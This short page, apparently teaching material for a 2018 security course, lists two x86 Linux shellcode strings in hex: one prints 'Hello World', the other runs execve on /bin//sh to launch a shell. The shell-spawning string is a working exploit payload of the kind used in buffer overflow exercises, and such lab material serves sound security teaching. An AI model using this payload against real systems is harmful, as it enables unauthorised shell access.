Shellcode for CSC495/583 2018Fall

Shellcode
hello world:
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x11\xb0\x04\xb3\x01\xb2\x0b\x59\xcd\x80\x31\xc0\xb0\x01\x30\xdb\xcd\x80\xe8\xea\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64

launch shell:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80